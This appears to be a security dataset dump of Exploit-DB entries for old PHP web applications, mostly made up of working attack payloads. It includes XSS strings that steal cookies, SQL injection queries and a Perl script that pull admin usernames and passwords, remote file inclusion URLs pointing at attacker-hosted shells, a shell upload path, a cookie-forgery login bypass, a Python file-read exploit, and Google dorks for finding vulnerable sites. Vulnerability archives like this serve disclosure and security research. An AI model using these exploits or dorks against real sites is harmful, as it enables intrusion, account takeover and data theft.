deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7563
Description: phpEmployment - 'PHP Upload' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-23
Author: ahmadbady

Exploit:
****(remote shell upload)****

script: phpEmployment
   
***************************************************************************
download from:http://www.w2b.ru/download/phpEmployment.zip
   
***************************************************************************
www.site.com/path/auth.php?mode=regnew&adtype=job

shell: www.site.com/path/photoes/number_shell.php

----------------------------------------------------------------------------------------
dork:"powered by phpEmployment"
------------------------------------------------------------------------------------------  
**************************************************


Author: ahmadbady 

**************************************************

# milw0rm.com [2008-12-23]
Exploit-DB #32649
Description: PHPepperShop 1.4 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-08
Author: th3.r00k.ieatpork

Exploit:
source: https://www.securityfocus.com/bid/32690/info

PhPepperShop is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PhPepperShop 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/%22%3Cscript%3Ealert(1)%3C/script%3E
Exploit-DB #32652
Description: PHPepperShop 1.4 - 'shop/Admin/SHOP_KONFIGURATION.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-08
Author: th3.r00k.ieatpork

Exploit:
source: https://www.securityfocus.com/bid/32690/info
   
PhPepperShop is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
PhPepperShop 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/Audit/Commerce/HackMe/shop/Admin/SHOP_KONFIGURATION.php/"<script>alert(1)</script>
Exploit-DB #32651
Description: PHPepperShop 1.4 - 'shop/Admin/shop_kunden_mgmt.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-08
Author: th3.r00k.ieatpork

Exploit:
source: https://www.securityfocus.com/bid/32690/info
  
PhPepperShop is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
PhPepperShop 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/Audit/Commerce/HackMe/shop/Admin/shop_kunden_mgmt.php/%22%3Cscript%3Ealert(1)%3C/script%3E
Exploit-DB #32650
Description: PHPepperShop 1.4 - 'shop/kontakt.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-08
Author: th3.r00k.ieatpork

Exploit:
source: https://www.securityfocus.com/bid/32690/info
 
PhPepperShop is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
PhPepperShop 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/shop/kontakt.php/&#039;<script>alert(1)</script>
Exploit-DB #33487
Description: PHPepperShop 2.5 - 'USER_ARTIKEL_HANDLING_AUFRUF.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-12
Author: Crux

Exploit:
source: https://www.securityfocus.com/bid/37707/info

PhPepperShop is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PhPepperShop 2.5 is vulnerable; other versions may also be affected.

http://www.example.com/shop/USER_ARTIKEL_HANDLING_AUFRUF.php?darstellen=1\"+onmouseover%3Dalert[PII_REDACTED]89)+&lowlimit=0&highlimit=15&bilderanzeigen=true&Suchstring=[PII_REDACTED]email%40address.tst&javascript_enabled=true&PEPPERSESS=d0499c[PII_REDACTED]b75dc23b45e7fb1b&w=1280&h=971
Exploit-DB #4135
Description: phpEventCalendar 0.2.3 - 'eventdisplay.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-01
Author: Iron

Exploit:
#!/usr/bin/perl
#
#	Vendor url: www.ikemcg.com
#
require LWP::UserAgent;

print "#
# phpEventCalendar <= v0.2.3 SQL Injection Exploit
# By Iron - ironwarez.info
# Thanks to Silentz for the help :)
# Greets to everyone at RootShell Security Group & dHack
#
# Example target url: http://www.target.com/phpeventcalendar/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
	$target = "http://".$target;
}
if($target !~ /\/$/)
{
	$target .= "/";
}
print "User id to retrieve name/password from? (1 = admin)";
chomp($target_id=<stdin>);
$target .= "eventdisplay.php?id=-999%20UNION%20SELECT%20username,password,password%20FROM%20pec_users%20WHERE%20uid=".$target_id;

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;

$response = $ua->get($target);

if ($response->is_success)
{
	if($response->content =~ /<span class="display_header">(.*)<\/span>/i)
	{
		($username,$password) = split(/,/,$1);
		print "Username: ".$username;
		print "\nPassword: ".$password;
	}
	else
	{
		print "\nUnable to retrieve username/password.";
	}
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2007-07-01]
Exploit-DB #3246
Description: phpEventMan 1.0.2 - 'level' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-01
Author: Mehmet Ince

Exploit:
-----------------------------------------------

phpEventMan v1.0.2 (level) Remote File Include Exploit

-----------------------------------------------

Author: Cyber-Security

cyber-security.org

-----------------------------------------------

Code:

include_once($level."UserMan/controller/common.function.php");
include_once($level."Shared/sharedfunctions.php");

-----------------------------------------------

POC:

www.target.com/script_pat/Shared/controller/text.ctrl.php?level=http://evilscripts ?
www.target.com/script_pat/UserMan/controller/common.function.php?level=http://evilscripts ?

-----------------------------------------------

download: http://sourceforge.net/project/showfiles.php?group_id=169887
-----------------------------------------------
 
Reference: http://www.cyber-security.org/DataDetayAll.asp?Data_id=594

# milw0rm.com [2007-02-01]
Exploit-DB #28882
Description: phpFaber CMS 1.3.36 - 'Htmlarea.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-30
Author: Vigilon

Exploit:
source: https://www.securityfocus.com/bid/20821/info

phpFaber CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.3.36; earlier versions may also be vulnerable.

http://www.example.com/cms_images/js/htmlarea/htmlarea.php?vigilon=>"><ScRiPt>alert("XSS")</ScRiPt>
Exploit-DB #33404
Description: phpFaber CMS 1.3.36 - 'module.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-14
Author: bi0

Exploit:
source: https://www.securityfocus.com/bid/37329/info

phpFaber CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following example is available:

http://www.example.com/module.php?mod=[XSS]
Exploit-DB #34280
Description: phpFaber CMS 2.0.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-04
Author: prodigy

Exploit:
source: https://www.securityfocus.com/bid/41498/info

PHPFABER CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHPFABER CMS 2.0.5 is vulnerable; prior versions may also be affected.

The following example URIs are available:

http://www.example.com/cms/module.php?mod=Search&query=%3Cscript%3Ealert%280%29%3C/script%3E&stype=OR&go=++++Go!++++

http://www.example.com/cms/module.php/Products/%22%3E%3Cscript%3Ealert%280%29%3C/script%3E

http://www.example.com/cms/cms_admin/index.php?mod=%3Cscript%3Ealert%280%29%3C/script%3E&action=setup
Exploit-DB #27659
Description: PHPFaber TopSites - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-17
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/17542/info

phpFaber TopSites is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?page=<script>alert(document.cookie)</script>
Exploit-DB #29841
Description: PHPFaber TopSites 3 - 'admin/index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2007-04-11
Author: Dr.RoVeR

Exploit:
source: https://www.securityfocus.com/bid/23419/info

TopSites is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

This issue affects TopSites 3; other versions may also be vulnerable. 

http://www.example.com/Path/admin/index.php?page=template&modify=../../../../../../etc/passwd
http://www.example.com/Path/admin/index.php?page=template&modify=inc/config.ini.php
Exploit-DB #4588
Description: phpFaber URLInn 2.0.5 - 'dir_ws' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-30
Author: BiNgZa

Exploit:
                                  /   \      
 _                        )      ((   ))     (
(@)                      /|\      ))_((     /|\
|-|                     / | \    (/\|/\)   / | \                      (@)
| |--------------------/--|-voV---\`|'/--Vov-|--\---------------------|-|
|-|                         '^`   (o o)  '^`                          | |
| |                               `\Y/'                               |-|
|-|                                                                   | |
| |                          -=ShAd0w-CrEw=-                          |-|
|-|                                                                   | |
| |                                                                   |-|
|_|___________________________________________________________________| |
(@)              l   /\ /         ( (       \ /\   l                  |-|
                 l /   V           \ \       V   \ l                  (@)
                 l/                _) )_          \I
                                   `\ /'
                     ` 
            ----------------------------------------------
              GrEeTs To -=sHaDoW sEcUrItY TeAm=- GrEeTs To
            ----------------------------------------------
              A2J, iNs, The Pitbull, ICQBomber, str0ke
            ----------------------------------------------
                     BiG sHoUt OuT tO udplink.net
            ----------------------------------------------




Vulnerability Type: Remote File Inclusion
Vulnerable file: /phpFaber.URLInn.v2.0.5.PHP.NULL-DGT/phpfaber_urlinn_2_0_5/urlinn_includes/config.php
Exploit URL: http://localhost/path/urlinn_includes/config.php?dir_ws=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: dir_ws
Line number: 78
Lines:

----------------------------------------------
require_once("$dir_ws/urlinn_includes/adodb/adodb.inc.php");
require_once("$dir_ws/urlinn_includes/smarty/Smarty.class.php");
require_once("$dir_ws/urlinn_includes/i_PageSelector.php");

----------------------------------------------


               ----------------------------------------------
                        FoUnD By BiNgZa AKA RaZor
               ----------------------------------------------
               DoRk:Powered by phpFaber URLInn. Copyright Â© 2004-2006 phpFaber
               ----------------------------------------------
                        shadowcrew@hotmail.co.uk
               ----------------------------------------------
                          shadow.php0h.com
               ----------------------------------------------

# milw0rm.com [2007-10-30]
Exploit-DB #7143
Description: PHPfan 3.3.4 - 'init.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-17
Author: ahmadbady

Exploit:
************************(remote file include)*****************

script: phpfan 3.3.4
   
***************************************************************************
download from:http://ishallnotcare.org/mint/pepper/tillkruess/downloads/tracker.php?url=http%3A//scriptsextra.ishallnotcare.org/phpfanbasic334.zip 
   
***************************************************************************
............................................................................
vul:
<?php

 if (!isset($loaded))
 {
  include_once $includepath .'/functions.php';
line 6:.> include_once $includepath .'/debug.php';
   
xpl:
   
http://site.com/path/includes/init.php?includepath=shell?

***************************************************
***************************************************

Author: ahmadbady from http://www.deltahacking.net

my mail: kivi_hacker666@yahoo.com


***************************************************

# milw0rm.com [2008-11-17]
Exploit-DB #6779
Description: phpFastNews 1.0.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-18
Author: Qabandi

Exploit:
#################################################
##	Qabandi 	iqa[at]hotmail.fr      ##
##		from Kuwait		       ##
#################################################
\\	phpFastNews
//	 Insecure cookie handling
\\
//   Go to any website that has the script installed
\\	type the following code into the Adress Bar
//
\\	javascript:document.cookie = "fn-loggedin = 1";
//
\\	Refresh do whatever, and you will be logged in
//
\\		Dork:intext:"Powered by phpFastNews"
#################################################
##	Greetz: Killer Hack, Str0ke	       ##
#################################################
		PEACE

# milw0rm.com [2008-10-18]
Exploit-DB #4406
Description: phpFFL 1.24 - 'PHPFFL_FILE_ROOT' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-14
Author: Dj7xpl

Exploit:
*******************************************************************************
# Title    :  phpFFL 1.24  Remote File Inclusion Vulnerability
*******************************************************************************
# Title    :  phpFFL 1.24  Remote File Inclusion Vulnerability
# Author   :  Dj7xpl
# Contact  :  Dj7xpl@r00t.ir
# Dawnload :  http://sourceforge.net/project/showfiles.php?group_id=137531
# Gr33tZ   :  Y! Underground Group , Ir_R57 , Mehrdad AliZade
*******************************************************************************
Vuln Code:
            require($PHPFFL_FILE_ROOT."program_files/livedraft/sajax.php");
            require($PHPFFL_FILE_ROOT."program_files/livedraft/sajax.php");
 

[[Remote]]]

http://[target]/[path]/phpffl/phpffl_webfiles/program_files/livedraft/livedraft.php?PHPFFL_FILE_ROOT=[ Evil Code ]
http://[target]/[path]/phpffl/phpffl_webfiles/program_files/livedraft/admin.php?PHPFFL_FILE_ROOT=[ Evil Code ]

"""""""""""""""""""""

# milw0rm.com [2007-09-14]
Exploit-DB #37709
Description: phpFileManager 0.9.8 - Remote Command Execution
Type: webapps
Platform: php
Date: 2015-07-28
Author: hyp3rlinx

Exploit:
# Exploit Title: Remote Command Execution
# Google Dork: intitle: PHP Remote Command Execution
# Date: 2015-07-28
# Exploit Author:  John Page ( hyp3rlinx )
# Website: hyp3rlinx.altervista.org
# Vendor Homepage: phpfm.sourceforge.net
# Software Link:  phpfm.sourceforge.net
# Version: 0.9.8
# Tested on: windows 7 SP1
# Category: Webapps



Vendor:
================================
phpfm.sourceforge.net



Product:
================================
phpFileManager version 0.9.8


Vulnerability Type:
========================
Remote Command Execution


CVE Reference:
==============
N/A



Advisory Information:
=======================================================
Remote Command Execution Vulnerability




Vulnerability Details:
=====================
PHPFileManager is vulnerable to remote command execution
and will call operating system commands via GET requests
from a victims browser. By getting the victim to click our malicious link
or visit our malicious website.




Exploit code(s):
===============


Remote Command Execution:
-------------------------

1- call Windows cmd.exe

https://localhost/phpFileManager-0.9.8/index.php?action=6&current_dir=C:/xampp/htdocs/phpFileManager-0.9.8/&cmd=c%3A\Windows\system32\cmd.exe
<https://localhost/phpFileManager-0.9.8/index.php?action=6&current_dir=C:/xampp/htdocs/phpFileManager-0.9.8/&cmd=c%3A%5CWindows%5Csystem32%5Ccmd.exe>

2- Run Windows calc.exe

https://localhost/phpFileManager-0.9.8/index.php?action=6&current_dir=C:/xampp/htdocs/phpFileManager-0.9.8/&cmd=c%3A\Windows\system32\calc.exe
<https://localhost/phpFileManager-0.9.8/index.php?action=6&current_dir=C:/xampp/htdocs/phpFileManager-0.9.8/&cmd=c%3A%5CWindows%5Csystem32%5Ccalc.exe>



Disclosure Timeline:
=========================================================

Vendor Notification:  NA
July 28, 2015 : Public Disclosure



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):          [+] GET


Vulnerable Product:         [+]  phpFileManager  0.9.8


Vulnerable Parameter(s):    [+] 'cmd'= [OS command]


Affected Area(s):           [+] Operating System


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.


by hyp3rlinx
Exploit-DB #46638
Description: phpFileManager 1.7.8 - Local File Inclusion
Type: webapps
Platform: php
Date: 2019-04-02
Author: Murat Kalafatoglu

Exploit:
# Exploit Title: phpFileManager 1.7.8 - Local File Inclusion
# Date: 01.04.2019
# Exploit Author: Murat Kalafatoglu
# Vendor Homepage: https://sourceforge.net/projects/phpfm/
# Software Demo: https://phpfm-demo.000webhostapp.com/
# Version: v1.7.8
# Category: Webapps
# Tested on: XAMPP for Linux
# Description: Any user can read files from the server
# without authentication due to an existing LFI in the following path:
# http://target/index.php?action=3&fm_current_dir=%2Fetc%2F&filename=passwd

# PoC

#!/usr/bin/python

import requests, sys

print "\n[*] phpFileManager 1.7.8 LFI PoC By Murat Kalafatoglu"
print "[+] usage: python " + __file__ + " http://<target_ip/domain>"
if (len(sys.argv) != 2):
    print "[*] Usage: poc.py <target_ip/domain>"
    exit(0)
ip_add = sys.argv[1]

dr = raw_input('[+] Directory: aka /etc/\n')
fd = raw_input('[+] File : aka passwd\n')

print "Exploiting....."
print '\n'

exp = requests.get(""+ ip_add + "index.php?action=3&fm_current_dir=" + dr + "&filename=" + fd +"")
print exp.text
Exploit-DB #34410
Description: PHPFinance 0.6 - '/group.php' SQL Injection / HTML Injection
Type: webapps
Platform: php
Date: 2010-08-05
Author: skskilL

Exploit:
source: https://www.securityfocus.com/bid/42230/info

PHPFinance is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may exploit the HTML-injection issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is displayed, and launch other attacks.

The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHPFinance 0.6 is vulnerable; other versions may also be affected. 

The following examples are available:

HTML Injection

>"<iframe src=http://test.de> or >"<script>alert(document.cookie)</script><div style="1

SQL Injection

http://www.example.com/group.php?tname=-%27%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10%20concat(user,0x3a,pass),11,12,13,14,%20from%20xxxxx%20 ... /*
Exploit-DB #31845
Description: PHPFix 2.0 - '/auth/00_pass.php?account' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-26
Author: Unohope

Exploit:
source: https://www.securityfocus.com/bid/29371/info
 
phpFix is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
phpFix 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/phpfix/auth/00_pass.php?[CREDENTIAL_REDACTED]='+or+account+like+'blah%
http://www.example.com/phpfix/auth/00_pass.php?[CREDENTIAL_REDACTED]='+or+passwd+like+'blah%
Exploit-DB #31844
Description: PHPFix 2.0 - '/fix/browse.php?kind' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-26
Author: Unohope

Exploit:
source: https://www.securityfocus.com/bid/29371/info

phpFix is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phpFix 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/phpfix/fix/browse.php?kind=-99+union+select+0,passwd,account,3,4,5,6,7,8,9,10,11+from+auth